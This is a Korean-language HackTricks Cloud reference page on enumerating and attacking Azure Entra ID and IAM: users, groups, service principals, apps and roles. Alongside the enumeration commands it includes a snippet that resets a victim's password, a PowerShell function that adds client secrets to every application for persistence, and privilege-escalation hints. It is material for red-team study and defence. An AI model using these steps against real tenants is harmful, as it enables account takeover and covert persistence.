Az - Entra ID (AzureAD) & Azure IAM
Reading time: 29 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 아이덴티티 및 액세스 관리 서비스입니다. 이는 직원들이 조직 내외부의 리소스에 로그인하고 접근할 수 있도록 하는 데 중요한 역할을 하며, Microsoft 365, Azure 포털 및 다양한 다른 SaaS 애플리케이션을 포함합니다. Azure AD의 설계는 인증, 권한 부여 및 사용자 관리를 포함한 필수 아이덴티티 서비스를 제공하는 데 중점을 두고 있습니다.
Azure AD의 주요 기능에는 다단계 인증 및 조건부 액세스가 포함되며, 다른 Microsoft 보안 서비스와의 원활한 통합이 특징입니다. 이러한 기능은 사용자 아이덴티티의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있도록 합니다. Microsoft의 클라우드 서비스 생태계의 기본 구성 요소로서, Azure AD는 사용자 아이덴티티의 클라우드 기반 관리를 위해 필수적입니다.
열거
연결
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Azure에 CLI를 통해 로그인할 때, Microsoft에 속한 tenant의 Azure Application을 사용하고 있습니다. 이러한 애플리케이션은 귀하의 계정에서 생성할 수 있는 것처럼 클라이언트 ID를 가지고 있습니다. 콘솔에서 볼 수 있는 허용된 애플리케이션 목록에서 모든 애플리케이션을 볼 수는 없지만, 기본적으로 허용됩니다.
예를 들어, 인증을 수행하는 powershell 스크립트는 클라이언트 ID **1950a258-227b-4e31-a9cf-717495945fc2
**를 가진 앱을 사용합니다. 애플리케이션이 콘솔에 나타나지 않더라도, 시스템 관리자는 사용자가 해당 앱을 통해 연결할 수 없도록 해당 애플리케이션을 차단할 수 있습니다.
그러나 Azure에 연결할 수 있는 다른 클라이언트 ID의 애플리케이션이 있습니다:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
테넌트
# List tenants
az account tenant list
사용자
Entra ID 사용자에 대한 자세한 정보는 다음을 확인하세요:
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all
# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
사용자 비밀번호 변경
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
MFA & Conditional Access Policies
모든 사용자에게 MFA를 추가하는 것이 강력히 권장되지만, 일부 회사는 이를 설정하지 않거나 특정 위치, 브라우저 또는 일부 조건에서 로그인할 경우에만 MFA를 요구하는 Conditional Access를 설정할 수 있습니다. 이러한 정책이 올바르게 구성되지 않으면 bypasses에 취약할 수 있습니다. 확인하세요:
Az - Conditional Access Policies & MFA Bypass
Groups
Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요:
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>
# To get Entra ID roles assigned check how it's done with users and use a group ID
그룹에 사용자 추가
그룹의 소유자는 그룹에 새로운 사용자를 추가할 수 있습니다.
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
warning
그룹은 동적일 수 있으며, 이는 기본적으로 사용자가 특정 조건을 충족하면 그룹에 추가된다는 의미입니다. 물론, 조건이 사용자가 제어할 수 있는 속성에 기반할 경우, 그는 이 기능을 악용하여 다른 그룹에 들어갈 수 있습니다.
동적 그룹을 악용하는 방법은 다음 페이지를 확인하세요:
서비스 주체
Entra ID 서비스 주체에 대한 자세한 정보는 다음을 확인하세요:
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
warning
서비스 주체의 소유자는 비밀번호를 변경할 수 있습니다.
각 엔터프라이즈 앱에 클라이언트 비밀을 나열하고 추가해 보세요
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.
.PARAMETER GraphToken
Pass the Graph API Token
.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)
$AppList = $null
$AppPassword = $null
# List All the Applications
$Params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications"
"Method" = "GET"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}
try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}
# Add Password in the Application
if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject
$Params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method" = "POST"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}
$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}
try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}
애플리케이션
애플리케이션에 대한 자세한 정보는 다음을 확인하세요:
앱이 생성될 때 2가지 유형의 권한이 부여됩니다:
- 서비스 주체에 부여된 권한
- 사용자를 대신하여 앱이 가질 수 있는 권한.
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
warning
AppRoleAssignment.ReadWrite
권한을 가진 앱은 Global Admin으로 승격할 수 있습니다.
더 많은 정보는 여기 확인하세요.
note
애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하는 데 사용하는 비밀 문자열은 애플리케이션 비밀번호입니다.
따라서 이 비밀번호를 찾으면 서비스 주체로 테넌트 내부에 접근할 수 있습니다.
이 비밀번호는 생성될 때만 볼 수 있습니다(변경할 수는 있지만 다시 얻을 수는 없습니다).
애플리케이션의 소유자는 이를 가짜로 사용할 수 있도록 비밀번호를 추가할 수 있습니다.
이러한 서비스 주체로의 로그인은 위험한 것으로 표시되지 않으며 MFA가 없습니다.
Microsoft에 속하는 일반적으로 사용되는 App ID 목록을 찾는 것은 가능합니다 https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications
관리되는 ID
관리되는 ID에 대한 더 많은 정보는 다음을 확인하세요:
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
Azure 역할
Azure 역할에 대한 자세한 정보는 다음을 확인하세요:
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
Entra ID 역할
Azure 역할에 대한 자세한 정보는 다음을 확인하세요:
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
장치
# If you know how to do this send a PR!
warning
만약 장치(VM)가 AzureAD에 가입되어 있다면, AzureAD의 사용자들이 로그인할 수 있습니다.
게다가, 로그인한 사용자가 장치의 소유자라면, 그는 로컬 관리자가 됩니다.
관리 단위
관리 단위에 대한 더 많은 정보는 다음을 확인하세요:
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
Entra ID 권한 상승
Azure 권한 상승
Az - Azure IAM Privesc (Authorization)
방어 메커니즘
권한 있는 ID 관리 (PIM)
Azure의 권한 있는 ID 관리(PIM)는 불필요하게 사용자에게 과도한 권한이 부여되는 것을 방지하는 데 도움을 줍니다.
PIM이 제공하는 주요 기능 중 하나는 항상 활성화된 주체에게 역할을 할당하지 않고, 일정 기간(예: 6개월) 동안 자격을 부여할 수 있다는 것입니다. 그런 다음 사용자가 해당 역할을 활성화하고 싶을 때, 필요한 권한의 시간을 명시하여 요청해야 합니다(예: 3시간). 그런 다음 관리자가 요청을 승인해야 합니다.
사용자는 또한 시간을 연장 요청할 수 있습니다.
또한, PIM은 권한 있는 역할이 누군가에게 할당될 때마다 이메일을 보냅니다.
.png)
PIM이 활성화되면 각 역할에 대해 다음과 같은 특정 요구 사항을 구성할 수 있습니다:
- 활성화 최대 기간(시간)
- 활성화 시 MFA 요구
- 조건부 액세스 인증 컨텍스트 요구
- 활성화 시 정당화 요구
- 활성화 시 티켓 정보 요구
- 활성화 승인 요구
- 자격 부여의 만료 최대 시간
- 특정 작업이 해당 역할과 관련하여 발생할 때 알림을 보낼 사람과 시기를 구성하는 많은 추가 설정
조건부 액세스 정책
확인:
Az - Conditional Access Policies & MFA Bypass
Entra ID 보호
Entra ID 보호는 사용자 또는 로그인 시도가 너무 위험할 때 이를 감지하여 사용자를 차단하거나 로그인 시도를 차단할 수 있는 보안 서비스입니다.
관리자가 "낮음 이상", "중간 이상" 또는 "높음"일 때 시도를 차단하도록 구성할 수 있습니다. 그러나 기본적으로 완전히 비활성화되어 있습니다:
.png)
tip
현재 이러한 제한을 조건부 액세스 정책을 통해 추가하는 것이 권장되며, 동일한 옵션을 구성할 수 있습니다.
Entra 비밀번호 보호
Entra 비밀번호 보호 (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)는 여러 번의 로그인 시도가 실패할 때 계정을 잠금으로써 약한 비밀번호의 남용을 방지하는 보안 기능입니다.
또한 제공해야 하는 사용자 정의 비밀번호 목록을 금지할 수 있습니다.
이는 클라우드 수준과 온프레미스 Active Directory 모두에 적용될 수 있습니다.
기본 모드는 감사입니다:
.png)
참고 문헌
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.